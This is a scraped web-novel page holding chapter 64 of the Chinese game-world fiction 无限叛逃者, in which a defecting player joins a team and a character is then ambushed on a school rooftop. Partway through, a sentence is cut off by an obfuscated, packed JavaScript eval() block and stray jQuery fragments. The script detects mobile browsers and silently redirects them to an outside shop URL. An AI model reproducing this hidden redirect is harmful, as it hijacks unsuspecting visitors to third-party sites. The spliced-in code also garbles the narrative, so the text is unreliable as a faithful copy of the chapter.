文趣网 > 都市小说 > 无限叛逃者 > 64.第 64 章
    时光一步步逼近方游一。

    她目光中带着玩味的审视兴致盎然地观察方游一,像观察濒死老鼠的猫,好奇他还能做出什么反击。

    方游一不能动弹,这个技能在辅助类里算是很强劲的技能,可以重置cd,因此副作用也很强,他身体陷入短暂僵直,连舌根都僵住,不能说话。

    金色的纹路如同昙花一现,缓慢从他皮肤上褪去,缩回瞳孔里。

    异常组胜局已定,没有挣扎余地。

    江其深轻慢道:“方游一,你就这么想死?”

    他太愚蠢了,帮安琪是个极其不理智的决定,他们给了他机会也给了台阶,可他还是做了这种鲁莽又玉石俱焚般的选择。

    江其深不能理解。

    他从空中跃下,站在方游一面前,观察他的表情,好像想借此看清他的心。

    “你真以为自己有翻盘的能力?”

    方游一舌根的僵直缓慢褪去,他含混道:“我以为这样更有意思。”

    只有“有意思”的东西可能让他产生不一样的情感波动,他想要感到“活着”,就不能怕死。

    时光哈哈大笑,这与她不谋而合:“我也觉得这样很有意思!不过,还有一个更有意思的。”

    方游一眼睛转向她那一边,瞳孔深处带着没有散尽的金色光芒。

    “什么?”

    “加入我们。”江其深道,“背叛我们比背叛田泉更有意思。”

    啊,是这样吗?

    方游一想了想。

    好像是这样,和他们一起吃饭也很有意思,背叛他们……应该会更有意思。

    不知道为什么,方游一忽然觉得,这一个邀请他等很久很久了。

    不是这几年,而是从上一个轮回开始,他就在等这样一个邀请。

    “忠于我们,或者背叛我们,随便你,但你是我们的人。”

    就是这一句话。

    就像大火烧尽的原野,土地之下,一些纤细的生命沉服暗藏,静待破土。

    僵化效果消失,肌肉乍然使不上力,方游一跌坐在地。

    另一端,愿子的吞噬进入尾声,现实世界的灯一盏盏亮起,愿子世界的灯一盏盏熄灭。

    “你真恐怖,”方游一拉着江其深的手站起来,“你真的有人性吗?以前那么善良的样子是不是装出来的?”

    “原装。”

    方游一面色古怪:“怪胎。”

    “你在说你自己吗?”

    “在说你们队。”

    “是我们队。”

    时光调出游戏面板,啪啪敲了几下。

    【恭喜,合并玩家成功。玩家:方游一,原属队:丕河队,移交队籍中……】

    【移交完毕。】

    【转队成功,异常组当前成员:时光、江其深、楚歇、方游一。】

    【副本结束,清算结果……获胜队伍:异常组。】

    【退出游戏中。】

    方游一望天长出一口气:“我想吃火锅。”

    江其深警惕:“还没出去就点菜?”

    不怪他反应大,作为队伍里目前唯一一个炒菜不会炒糊、敲鸡蛋不会混进去鸡蛋壳的大厨,被吃腻了外卖的另外两人押着连下了一星期厨房顿顿现炒一桌后,他现在对所有菜名都极其敏感。

    “我要吃披萨,芝士能拉丝的那种。”时光嚷嚷。

    “吃什么都蘸酸奶的人没资格点菜,你吃什么都是酸奶味。”

    “你懂不懂美食?”时光震怒。

    “这话你要问我的红烧肉蟹粉豆腐三杯鸡蜜汁叉烧蒜香黄油焗大虾芝士生蚝松鼠鳜鱼菠萝咕噜肉!”

    方游一咽了咽唾沫,“都可以点吗?”

    “我们队不开食堂,提倡外卖,建议预制菜。”

    江其深好像看到自己被厨房包办的未来。

    不过……这样也挺温暖的。

    有人期待他做的饭,这就像在说,有人在期待着他回家。

    好像就此能在这个荒乱的世界找到一点可以依靠的归属,填满心里那个被不确定性恐吓的空洞。

    咔哒。

    正在消解为代码数据的副本世界忽然卡了一瞬,像列车前进时被轨道上的石子硌了一下,整个世界颤动了几下。

    三人齐齐抬头。

    副本世界消解到一半,愿子麻木哀怨的脸拆解为无数0101,与这座城市,与被她操控吞噬的尸走们汇聚在一起,形成庞大的数据流。他们搅成一团泥浆,混成一股溪流,不分彼此,不分高下,不分输赢。

    原来在底层代码中,爱恨只是数据排列的区别。

    而此时,代码的重组卡住了,麻木的人用那双空洞的眼睛望着地面,好像想问他们为什么。

    溶解的世界暂停了,副本世界之外,苍穹背后,传来沉闷的“咚咚”声。

    “咚咚……咚咚、咚咚!”

    声音越来越大,越来越急促,像天外来客的脚步跑着逼近,脚步越来越快,有如擂鼓。

    “这场景我有点熟悉……”

    江其深下意识捂住胸口,那是曾经被刀贯穿的地方,他心有余悸。

    “楚歇不会再动手吧?”

    时光白他一眼:“直播哎,游戏结束了直播自相残杀?我们又不需要博眼球。”

    “也是。”吸纳其他队伍成员这事已经够话题度了,楚歇也没有博眼球的爱好,那这声音是——

    “咚!”

    天边出现一道裂痕。

    好像脆弱的世界被打破了另一个次元的视线投了进来。江其深的心跳随擂鼓声越来越大,他好像知道那背后是什么,答案在嘴边呼之欲出。

    “……”

    他微张嘴,破裂的痕迹透出刺眼白光,洪水泄闸般倾泻而出,将他们完全吞没。

    ***

    “嘻嘻。”

    迷迷糊糊间,江其深听见有人在笑。

    笑声很熟悉,在不久之前,被太阳晒暖的天台,热气蒸透他的校服,他躺在水泥地上睡午觉,脸躲在阴影里,免得被中午过于灼热的太阳晃着眼睛。

    小城市的中午极其漫长,风懒,蝉鸣也懒,所有人都睡着了,天空飘着的云也是。

    那时,王苏就是这么笑的。

    她笑着说,江其深,你睡觉的样子就像猫。

    “你知道猫是怎么晒肚皮的吗?就是你这样。”

    江其深懒得搭理她,争分夺秒偷闲睡觉。任由冰凉的雪糕气息在鼻子边晃来晃去。

    “不吃啊?不吃我拿去喂猫了。”

    江其深猛地睁眼!

    天空悠悠荡荡几片白云,飘忽的好像睡着了。

    他脚下是水泥天台,身旁是护栏,远方瞩目是层叠低矮楼房,最高的也不过七八层,夏天的太阳晒软了水泥,把碧绿的树叶晒得油亮油亮的。

    这是学校。

    是他的家。

    ***

    江其深头脑有些恍惚。

    上一秒还在见证副本游戏的破裂,下一秒却出现在最熟悉的学校天台。

    这是怎么回事?

    他的副本不是被封存了吗?

    过分灼热的太阳晒透棉质校服短袖,江其深好像做了一场荒诞的梦,梦里有再也回不去的家乡,暗藏杀心的发小,危险的游戏。

    而现在梦醒了,他回到现实,显示什么都没发生,大地平坦,天空广阔,世界还是那个世界,他也还是那个他。

    没有为了胜利不择手段,也没有送别人去死。

    他深深吸一口气,充沛的热气混合干燥的草木气息,是他最熟悉的味道。

    是安心的味道。

    “想家了吗?”

    声音猝不及防,江其深猛地回头!天台的屋塔房上,坐着一个女孩儿。

    女孩穿着宽大的校服,一脚踩在房顶边缘,一脚悠悠地垂着,金色长发卷成波浪,披在肩后,手腕上套着几串漂亮的塑料珠子,模仿水晶的质感,在阳光下折射出碎钻般的光。

    “……王苏。”

    王苏笑得灿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673386|203659||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    烂:“好久不见啊江其深,你还没死?”

    江其深胸口闷闷酸酸的,“你就这么想我死?”

    我做什么了?让你这样恨我?我们不是亲人吗?

    可我一直在找你啊。

    一种被背叛的委屈从胸腔弥漫开,他胸口纠成一团,鼻子也酸酸的。

    “啊,我忘了,”王苏一拍脑袋,咧出牙齿,“现在的你应该都不记得。”

    “记得什么?”

    “不重要,反正你还会忘记的。”王苏发了一个响指,她的身后,走出背两把古刀的人影。

    是楚歇。

    “杀了他,这次不要失手了。”

    “联赛还没结束。”楚歇提醒她。

    “无所谓,一切都会重新开始的。”

    楚歇不明白王苏在说什么,不过她对别人的隐私没有窥探欲,既然王苏这么说,她从容拔刀——

    “你又要杀我!”

    就知道此子留在身边必成祸患!江其深立刻调动戒指,却发现一点力量都调动不起来。

    “怎么会……?”

    “这是王苏世界,系统的规则在这里不生效。”王苏道,“我不让你有技能,你就没有技能。”

    她再打一个响指,江其深双手被缚身后,像一个被绳子缠紧的蚕蛹摔在地上挣扎滚动。

    “我让你不能动,你就不能动。”

    “你怎么会……”

    “真是不长记性,同样的招数,你要栽在我手里几次才能记住?”

    “你能不能说句我能听懂的!”江其深彻底怒了,“放开我!”

    到了这一刻,江其深还是不相信王苏这样大费周章是为了杀他。

    杀他是件很简单的事情。以江其深对她的信任程度,王苏只需要放学顺手买包耗子药,骗他说是跳跳糖让他尝一口就行。

    至于闹失踪又雇杀手吗?

    “你简直莫名其妙……”

    “你不会无意义的死去,你死的很有价值。”

    “谁想死啊!”

    “放心,很快我们就会再见面了。”

    “你是不是疯了?”

    “下一次,一定不会出差错。”

    “王苏,你把话说清楚……王苏!”

    “王苏!!!!”

    刀刃迎空斩下,江其深目眦欲裂!

    刀锋劈下的瞬间,江其深眼前绽放一朵红色的诡异花朵。

    花朵像是玫瑰,或者蔷薇,镂空花瓣鲜艳欲滴,顺着刀刃最尖端一点长到刀柄,蔓延到楚歇持刀的手上。

    楚歇想要挣脱,却发现半只手臂石化了一样动弹不得。

    王苏恼火:“说了很多次了,简,不要未经邀请进别人家。”

    镂空花朵带着妖异诡谲的香气,不紧不慢缠上楚歇的手指,荆棘勒进肉里,动作却温柔得像是调情。

    “哦,防护机制做的这么差,我以为你是故意开门引诱我进来呢。”

    王苏做了个骂人的口型,“滚出去,没看见我在忙吗?”

    “急什么?我还没和他打招呼呢。”

    “等下个轮次吧,我要回收他的数据了。”

    “王苏,你不觉得你们的计划有问题吗?”

    “什么问题?”

    “你们没有plan B。”

    “这算什么问题?”王苏开始失去耐心,她利用系统的bug建立王苏世界躲避监察,风险很高,随时可能被发现,没时间和简多掰扯,“你没事儿就滚出去,用得着你的时候我再找……”

    “没有应对意外的手段,你要重来几次才能成功?”

    王苏短暂沉默。

    “何况,我看他也不算失败。”

    灼目的花瓣微微下垂,尖端触上江其深的眼尾,沾上一点含在眼眶中的眼泪。

    花瓣托着那滴泪,像烛火托着晃动的影子。

    这滴眼泪太轻了,轻的一阵叹息就能将它震碎,碎成粉尘、碎成微光。

    “从前的江其深,可从来不会哭。”